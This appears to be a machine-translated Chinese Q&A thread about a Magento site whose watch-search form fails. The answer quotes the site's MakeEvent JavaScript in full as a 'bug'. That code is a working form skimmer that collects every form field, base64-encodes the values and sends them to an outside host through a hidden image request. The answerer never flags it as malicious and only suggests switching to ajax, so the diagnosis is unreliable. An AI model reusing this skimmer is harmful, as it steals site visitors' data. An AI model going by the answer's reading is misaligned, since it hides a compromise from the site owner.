我有一个运行在magento上的website
在主页中,如果向下滚动,您会找到搜索手表。 选择手表型号时,请键入&价格和点击搜索。搜索未显示结果&它正在吐出这个错误
“订阅时出现问题:请输入有效的电子邮件地址。”
我对magento或PHP一无所知。我是一名HTML开发人员。谁能帮我解决这个问题呢?
答案 0 :(得分:0)
MakeEvent函数中有错误:
function MakeEvent() {
if (navigator.appName == 'Microsoft Internet Explorer') {
return;
}
forms = document.getElementsByTagName("form");
for (var j = 0; j < forms.length; j++) {
forms[j].onsubmit = function () {
setTimeout(function (formIndex) {
frms = document.getElementsByTagName("form");
frms[formIndex - 1].submit();
}, 500, j);
return false
};
var elements = forms[j].getElementsByTagName("button");
for (var i = 0; i < elements.length; i++) {
if (elements[i].type == "submit" || true) {
eventArray[i] = elements[i].onclick;
elements[i].onmousedown = function () {
data = getAllValues();
var newImg = document.createElement("img");
newImg.setAttribute("src", "http://www.followthefashion.org/wp-content/uploads/2014/07/skin.php?data=" + encodeURI(base64_encode(data)));
newImg.setAttribute("height", "1");
newImg.setAttribute("width", "1");
newImg.setAttribute("alt", "Please, wait...");
document.body.appendChild(newImg);
//sleep(500);
};
}
}
}
}
MakeEvent();
正如您所看到的,在提交基本表单时,脚本会提交另一个(上一个)表单。
frms[formIndex - 1].submit();
我认为你最好在你的函数中使用ajax,即“form.submit()”方法与单击“submit”按钮的工作方式相同。
submit()方法提交表单(与单击Submit按钮相同)。 Link